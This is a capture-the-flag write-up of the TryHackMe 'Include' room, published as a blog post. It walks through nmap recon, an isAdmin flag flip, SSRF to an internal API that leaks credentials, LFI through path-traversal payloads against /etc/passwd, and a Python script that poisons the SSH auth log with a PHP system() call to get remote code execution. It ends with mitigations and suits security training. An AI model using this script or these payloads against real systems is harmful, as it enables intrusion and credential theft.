Post

TryHackMe: Include

TryHackMe: Include

This challenge guides the player through discovering and exploiting vulnerabilities in web applications to extract sensitive information and achieve remote code execution on the target host.


πŸ” Step 1 β€” Reconnaissance (Nmap)

Run the following nmap scan to enumerate open ports and services:

1
$ nmap -Pn -p- -T4 -sC -sV 10.10.6.195 -oN 10.10.6.195-nmap.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
25/tcp    open  smtp     Postfix smtpd
|_smtp-commands: mail.filepath.lab, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
|_ssl-date: TLS randomness does not represent time
110/tcp   open  pop3     Dovecot pop3d
|_pop3-capabilities: TOP STLS SASL AUTH-RESP-CODE UIDL CAPA PIPELINING RESP-CODES
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
143/tcp   open  imap     Dovecot imapd (Ubuntu)
|_imap-capabilities: ID IMAP4rev1 OK LITERAL+ ENABLE STARTTLS more post-login listed IDLE LOGIN-REFERRALS capabilities Pre-login have SASL-IR LOGINDISABLEDA0001
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
|_imap-capabilities: ID IMAP4rev1 OK LITERAL+ ENABLE AUTH=LOGINA0001 more post-login listed IDLE LOGIN-REFERRALS capabilities Pre-login have SASL-IR AUTH=PLAIN
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
995/tcp   open  ssl/pop3 Dovecot pop3d
|_pop3-capabilities: TOP USER SASL(PLAIN LOGIN) AUTH-RESP-CODE UIDL CAPA PIPELINING RESP-CODES
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
4000/tcp  open  http     Node.js (Express middleware)
|_http-title: Sign In
50000/tcp open  http     Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: System Monitoring Portal
MAC Address: 02:06:6D:98:BF:A9 (Unknown)
Service Info: Host:  mail.filepath.lab; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Key findings:

  • SSH (22/tcp) β€” OpenSSH 8.2p1
  • SMTP (25/tcp) β€” Postfix
  • POP3/IMAP (110/143/993/995) β€” Dovecot
  • Web application on 4000/tcp (Node.js / Express) β€” presents a login page
  • Web application on 50000/tcp (Apache/PHP) β€” System Monitoring Portal

πŸ” Step 2 β€” Authentication & Local Privilege Escalation (Port 4000)

πŸ”‘ Login as guest

The Node/Express app on port 4000 exposes a login form. The default credentials work:

Username: guest
Password: guest

include(1)_result.webp


Once logged in with the default credentials, the application displays a user dashboard containing the profile section and a list of available friends.

include(2)_result.webp

From there, examining the Friend Details object reveals a boolean field isAdmin, which is set to false by default. Two input fields on the profile page appear to be potential entry points for user input manipulation.

include(3)_result.webp

Testing the input test/test through the profile form to observe how the application processes user-submitted data.

include(4)_result.webp

The Friend Details section updates instantly, confirming that the submitted values are stored and reflected on the page.

include(5)_result.webp

πŸ“ Stored Input Form behavior

The profile contains an β€œactivity recommendation” form. Input is persisted and rendered back on the profile. This form behaves like a persistent client-side field directly affecting server state. This stored-input functionality is our first vector for influencing server-side state.

🚨 Elevating the isAdmin flag

By submitting a crafted activity entry with the following fields:

  • Activity Type: isAdmin
  • Activity Name: true

include(6)_result.webp

The isAdmin field flips to true, which in turn reveals administrative UI tabs: API and Settings.

include(7)_result.webp

πŸ“‘ Internal API discovery via admin UI

Explore the newly revealed API tab. It contains a link to an internal API endpoint which returns credential material (base64-encoded).

include(8)_result.webp


πŸ”Ž Step 2 (cont.) β€” Using the Settings tab to query internal services

The Settings interface allows updating the banner image by URL. This control can be abused to fetch internal endpoints by specifying http://127.0.0.1:5000/internal-api as the banner image URL.

include(9)_result.webp

Abuse of banner-image upload to access internal APIs β€” internal discovery & data exfiltration.

include(10)_result.webp

Response returned Base64-encoded credentials, decoded via CyberChef to extract admin keys. Decoding this blob yields plaintext credentials that can be used for lateral movement and privilege escalation.

include(11)_result.webp

Decoding with CyberChef yields JSON credentials:

include(12)_result.webp

1
2
3
4
5
6
{
  "ReviewAppUsername": "admin",
  "ReviewAppPassword": "admin@!!!",
  "SysMonAppUsername": "administrator",
  "SysMonAppPassword": "<REDACTED>"
}

🌐 Step 3 β€” System Monitoring Portal (Port 50000) & LFI Discovery

Upon further exploration of the web service on port 50000, we discovered a login interface.

include(13)_result.webp

βœ… Login to the SysMon portal

Navigate to http://10.10.6.195:50000 and authenticate with the harvested credentials:

Username: administrator
Password: <REDACTED>

include(14)_result.webp

Successful login yields the first flag.

include(15)_result.webp

πŸ”Ž This strongly indicates a Local File Inclusion (LFI) vector through the img parameter.

Reviewing the HTML source reveals an image tag like:

1
<img src="profile.php?img=profile.png" />

include(16)_result.webp

Requesting the profile.php endpoint returns binary image data. This structure suggests a local file include mechanism where the img parameter maps to a server-side include.

include(17)_result.webp

First, capture the PHPSESSID cookie for use with wfuzz.

include(18)_result.webp

πŸ”¬ Fuzzing for LFI

Use wfuzz with a dedicated LFI wordlist to brute-force potential file paths via the img parameter. After identifying a viable path pattern, /etc/passwd was readable via the include.

$ wfuzz --hh 0 -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://10.10.6.195:50000/profile.php?img=FUZZ -b "PHPSESSID=vdn2cg51u2hk861jsaj8dvid16"

Sample wfuzz output shows repeated successful hits for path traversal to /etc/passwd.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Target: http://10.10.6.195:50000/profile.php?img=FUZZ
Total requests: 914
==================================================================
ID    Response   Lines      Word         Chars          Request
==================================================================
00327:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00328:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00329:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00330:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00331:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00332:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00333:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00334:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00335:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00336:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00337:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00338:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
00339:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//....//etc/passwd"
00340:  C=200     41 L	      60 W	   2231 Ch	  "....//....//....//....//....//....//....//....//....//etc/passwd"

Total time: 0
Processed Requests: 914
Filtered Requests: 900
Requests/sec.: 0

Selected from multiple wfuzz hits, a crafted payload returned HTTP 200 and enabled direct retrieval of /etc/passwd.

include(19)_result.webp

Files of interest discovered via LFI include:

  • /etc/passwd
  • /var/log/auth.log
  • /var/log/mail.log

include(20)_result.webp


πŸ’₯ Step 4 β€” Log Injection β†’ Remote Code Execution

This step builds on the LFI vulnerability to achieve full RCE by injecting malicious PHP into log files.

πŸ’‘ Attack concept

  1. Inject a PHP payload into a log file (e.g., via an SSH authentication attempt).
  2. Use the previously discovered Local File Inclusion (LFI) to include the log file in a web request, causing PHP to execute the payload and run arbitrary commands.

πŸ› οΈ Prepare an SSH-based injection

Save and execute the following Python script to send a controlled payload that will be recorded in /var/log/auth.log:

πŸ§ͺ Python Injection Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
import paramiko, socket, sys

if len(sys.argv) < 2:
    print("Usage: python3 ssh_user_inject.py '<command>'")
    sys.exit(1)

target = ("10.10.6.195", 22)
command = sys.argv[1]
payload = f'<?php system("{command}"); ?>'

paramiko.util.log_to_file('/dev/null')

try:
    sock = socket.socket()
    sock.settimeout(6)
    sock.connect(target)
    t = paramiko.Transport(sock)
    t.start_client(timeout=6)
    try:
        t.auth_none(payload)
    except Exception:
        pass
    t.close()
except Exception:
    pass

print(f"Sent payload: {payload}")
print("β†’ Check /var/log/auth.log via LFI to confirm it's written.")
print("β†’ Then include it with ?img=/var/log/auth.log&c=<cmd> to execute.")

Make the helper script executable:

1
$ chmod +x ssh_user_inject.py

Demonstration: running the helper script with the id payload returned the id output, confirming remote code execution via log inclusion.

1
2
3
4
$ python3 ssh_user_inject.py "id"
Sent payload: <?php system("id"); ?>
β†’ Check /var/log/auth.log via LFI to confirm it's written.
β†’ Then include it with ?img=/var/log/auth.log&c=<cmd> to execute.

include(21)_result.webp

Using an injected ls -lah revealed directory contents and uncovered a suspicious artifact: 505eb0fb8a9f32853b4d955e1f9123ea.txt.

1
2
3
4
$ python3 ssh_user_inject.py "ls -lah"
Sent payload: <?php system("ls -lah"); ?>
β†’ Check /var/log/auth.log via LFI to confirm it's written.
β†’ Then include it with ?img=/var/log/auth.log&c=<cmd> to execute.

include(22)_result.webp

Continuing with an injected payload to read the file returned its contents β€” the second flag was recovered.

include(23)_result.webp

This confirms the complete exploit chain from stored input β†’ internal API access β†’ LFI β†’ RCE.


πŸ“Œ Exploitation chain (summary)

  1. Stored-input abuse in the profile to manipulate isAdmin (privilege escalation).
  2. Admin-only API endpoint disclosure via banner-image request (server-side internal fetch).
  3. Authentication to the System Monitoring portal using harvested credentials.
  4. Local File Inclusion (LFI) with path traversal β€” reads sensitive server files.
  5. Log injection via SSH to place PHP payload into auth.log.
  6. Include the log file via LFI β†’ remote command execution (RCE) and flag retrieval.

πŸ›‘οΈ Mitigation & Recommendations

  • Authorization controls: Enforce strict server-side authorization checks before permitting changes to sensitive flags or rendering admin UI. Never rely on client-side checks for privilege elevation.
  • Restrict external resource fetches: Disallow arbitrary image URLs in admin UIs. Whitelist approved hosts and prevent server-side fetches to 127.0.0.1, private CIDRs, or internal-only ports.
  • Avoid dynamic includes: Do not dynamically include files based on direct user input. If dynamic mapping is needed, map user-supplied keys to server-side filenames using an allowlist and canonicalize the path.
  • Treat logs as data, not code: Ensure logs are never interpreted or executed. Sanitize and escape any user-controlled content before logging; disable any template or PHP evaluation on log files.
  • Harden authentication & logging: Avoid logging raw authentication metadata that can be abused (e.g., unauthenticated SSH payloads). Limit what gets written to logs, and monitor for unusual entries. Rotate and revoke exposed credentials immediately.
  • Egress filtering & network segmentation: Block server-side requests to internal services from admin panels, and segment internal-only services from web-facing hosts.

πŸ–Ό Screenshots used in this write-up are stored under /images/tryhackme-include/ and can be embedded inline to illustrate each step.
πŸ’‘ This write-up is a concise technical walkthrough intended for a GitHub Pages portfolio or CTF documentation.
πŸ” All credentials, tokens, and sensitive values have been redacted for public sharing.

This post is licensed under CC BY 4.0 by the author.